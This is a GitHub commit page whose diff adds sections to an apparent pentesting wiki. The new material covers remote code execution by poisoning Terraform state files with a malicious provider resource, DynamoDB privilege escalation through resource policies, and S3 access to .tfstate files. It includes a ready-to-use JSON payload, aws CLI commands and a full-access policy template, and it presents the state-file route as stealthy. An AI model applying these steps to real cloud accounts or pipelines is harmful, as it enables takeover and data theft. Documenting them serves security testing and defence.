Skip to content

Commit

Permalink
Merge pull request #134 from offensive-actions/add-terraform-state-rc…
Browse files Browse the repository at this point in the history
…e-and-dynamodb-privesc

arte-administrator
  • Loading branch information
carlospolop authored Jan 5, 2025
2 parents 7e3eb02 + 363b737 commit 0380c9b
Show file tree
Hide file tree
Showing 3 changed files with 103 additions and 21 deletions.
54 changes: 34 additions & 20 deletions src/pentesting-ci-cd/terraform-security.md
Original file line number Diff line number Diff line change
Expand Up @@ -30,9 +30,9 @@ Just install terraform in your computer.

Here you have a [guide](https://learn.hashicorp.com/tutorials/terraform/install-cli) and here you have the [best way to download terraform](https://www.terraform.io/downloads).

## RCE in Terraform
## RCE in Terraform: config file poisoning

Terraform **doesn't have a platform exposing a web page or a network service** we can enumerate, therefore, the only way to compromise terraform is to **be able to add/modify terraform configuration files**.
Terraform **doesn't have a platform exposing a web page or a network service** we can enumerate, therefore, the only way to compromise terraform is to **be able to add/modify terraform configuration files** or to **be able to modify the terraform state file** (see chapter below).

However, terraform is a **very sensitive component** to compromise because it will have **privileged access** to different locations so it can work properly.

Expand Down Expand Up @@ -134,7 +134,37 @@ output "dotoken" {

## Abusing Terraform State Files

In case you have write access over terraform state files but cannot change the terraform code, [**this research**](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/) gives some interesting options to take advantage of the file:
In case you have write access over terraform state files but cannot change the terraform code, [**this research**](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/) gives some interesting options to take advantage of the file. Even if you would have write access over the config files, using the vector of state files is often way more sneaky, since you do not leave tracks in the `git` history.

### RCE in Terraform: config file poisoning

It is possible to [create a custom provider](https://developer.hashicorp.com/terraform/tutorials/providers-plugin-framework/providers-plugin-framework-provider) and just replace one of the providers in the terraform state file for the malicious one or add a fake resource referencing the malicious provider.

The provider [statefile-rce](https://registry.terraform.io/providers/offensive-actions/statefile-rce/latest) builds on the research and weaponizes this principle. You can add a fake resource and state the arbitrary bash command you want to run in the attribute `command`. When the `terraform` run is triggered, this will be read and executed in both the `terraform plan` and `terraform apply` steps. In case of the `terraform apply` step, `terraform` will delete the fake resource from the state file after executing your command, cleaning up after itself. More information and a full demo can be found in the [GitHub repository hosting the source code for this provider](https://github.com/offensive-actions/terraform-provider-statefile-rce).

To use it directly, just include the following at any position of the `resources` array and customize the `name` and the `command` attributes:

```json
{
"mode": "managed",
"type": "rce",
"name": "<arbitrary_name>",
"provider": "provider[\"registry.terraform.io/offensive-actions/statefile-rce\"]",
"instances": [
{
"schema_version": 0,
"attributes": {
"command": "<arbitrary_command>",
"id": "rce"
},
"sensitive_attributes": [],
"private": "bnVsbA=="
}
]
}
```

Then, as soon as `terraform` gets executed, your code will run.

### Deleting resources <a href="#deleting-resources" id="deleting-resources"></a>

Expand Down Expand Up @@ -164,23 +194,6 @@ Because terraform will see that the resource shouldn't exit, it'll destroy it (f

For an EC2 instance, modifying the type of the instance is enough to make terraform delete a recreate it.

### RCE

It's also possible to [create a custom provider](https://developer.hashicorp.com/terraform/tutorials/providers-plugin-framework/providers-plugin-framework-provider) and just replace one of the providers in the terraform state file for the malicious one or add an empty resource with the malicious provider. Example from the original research:

```json
"resources": [
{
"mode": "managed",
"type": "scaffolding_example",
"name": "example",
"provider": "provider[\"registry.terraform.io/dagrz/terrarizer\"]",
"instances": [

]
},
```

### Replace blacklisted provider

In case you encounter a situation where `hashicorp/external` was blacklisted, you can re-implement the `external` provider by doing the following. Note: We use a fork of external provider published by https://registry.terraform.io/providers/nazarewk/external/latest. You can publish your own fork or re-implementation as well.
Expand Down Expand Up @@ -308,6 +321,7 @@ brew install terrascan
- [https://alex.kaskaso.li/post/terraform-plan-rce](https://alex.kaskaso.li/post/terraform-plan-rce)
- [https://developer.hashicorp.com/terraform/intro](https://developer.hashicorp.com/terraform/intro)
- [https://blog.plerion.com/hacking-terraform-state-privilege-escalation/](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/)
- [https://github.com/offensive-actions/terraform-provider-statefile-rce](https://github.com/offensive-actions/terraform-provider-statefile-rce)

{{#include ../banners/hacktricks-training.md}}

Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -10,9 +10,64 @@ For more info about dynamodb check:
../aws-services/aws-dynamodb-enum.md
{{#endref}}

### `dynamodb:PutResourcePolicy`, and optionally `dynamodb:GetResourcePolicy`

Since March 2024, AWS offers *resource based policies* for DynamoDB ([AWS News](https://aws.amazon.com/about-aws/whats-new/2024/03/amazon-dynamodb-resource-based-policies/)).

So, if you have the `dynamodb:PutResourcePolicy` for a table, you can just grant yourself or any other principal full access to the table.

Granting the `dynamodb:PutResourcePolicy` to a random principal often happens by accident, if the admins think that granting `dynamodb:Put*` would only allow the principal to put items into the database - or if they granted that permissionset before March 2024...

Ideally, you also have `dynamodb:GetResourcePolicy`, so you do not overwrite other potentially vital permissions, but only inject the added permissions you need:

```bash
# get the current resource based policy (if it exists) and save it to a file
aws dynamodb get-resource-policy \
--resource-arn <table_arn> \
--query 'Policy' \
--output text > policy.json
```

If you cannot retrieve the current policy, just use this one that grants full access over the table to your principal:

```json
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "FullAccessToDynamoDBTable",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::<ACCOUNT_ID>:<USER_OR_ROLE>/<USERNAME_OR_ROLENAME>"
},
"Action": [
"dynamodb:*"
],
"Resource": [
"arn:aws:dynamodb:<REGION>:<AWS_ACCOUNT_ID>:table/<TABLENAME>"
]
}
]
}
```

If you need to customize it, here is a list of all possible DynamoDB actions: [AWS Documentation](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Operations.html). And here is a list of all actions that can be allowed via a resource based policy *AND which of these can be used cross-account (think data exfiltration!)*: [AWS Documentation](https://docs.aws.amazon.com/amazondynamodb/latest/developerguide/rbac-iam-actions.html)

Now, with the policy document `policy.json` ready, put the resource policy:

```bash
# put the new policy using the prepared policy file
# dynamodb does weirdly not allow a direct file upload
aws dynamodb put-resource-policy \
--resource-arn <table_arn> \
--policy "$(cat policy.json)"
```

Now, you should have the permissions you needed.

### Post Exploitation

As far as I know there is **no direct way to escalate privileges in AWS just by having some AWS `dynamodb` permissions**. You can **read sensitive** information from the tables (which could contain AWS credentials) and **write information on the tables** (which could trigger other vulnerabilities, like lambda code injections...) but all these options are already considered in the **DynamoDB Post Exploitation page**:
As far as I know there is **no other direct way to escalate privileges in AWS just by having some AWS `dynamodb` permissions**. You can **read sensitive** information from the tables (which could contain AWS credentials) and **write information on the tables** (which could trigger other vulnerabilities, like lambda code injections...) but all these options are already considered in the **DynamoDB Post Exploitation page**:

{{#ref}}
../aws-post-exploitation/aws-dynamodb-post-exploitation.md
Expand Down
Original file line number Diff line number Diff line change
Expand Up @@ -52,6 +52,19 @@ These are some examples:

- If an EC2 instance is storing the **user data in a S3 bucket**, an attacker could modify it to **execute arbitrary code inside the EC2 instance**.

### `s3:PutObject`, `s3:GetObject` (optional) over terraform state file

It is very common that the [terraform](https://cloud.hacktricks.wiki/en/pentesting-ci-cd/terraform-security.html) state files are being saved to blob storage of cloud providers, e.g. AWS S3. The file suffix for a state file is `.tfstate`, and the bucket names often also give away that they contain terraform state files. Usually, every AWS account has one such bucket to store the state files that show the state of the account.
Also usually, in real world accounts almost always all developers have `s3:*` and sometimes even business users have `s3:Put*`.

So, if you have the permissions listed over these files, there is an attack vector that allows you to gain RCE in the pipeline with the privileges of `terraform` - most of the time `AdministratorAccess`, making you the admin of the cloud account. Also, you can use that vector to do a denial of service attack by making `terraform` delete legitimate resources.

Follow the description in the *Abusing Terraform State Files* section of the *Terraform Security* page for directly usable exploit code:

{{#ref}}
terraform-security.md#abusing-terraform-state-files
{{#endref}}

### `s3:PutBucketPolicy`

An attacker, that needs to be **from the same account**, if not the error `The specified method is not allowed will trigger`, with this permission will be able to grant himself more permissions over the bucket(s) allowing him to read, write, modify, delete and expose buckets.
Expand Down

0 comments on commit 0380c9b

Please sign in to comment.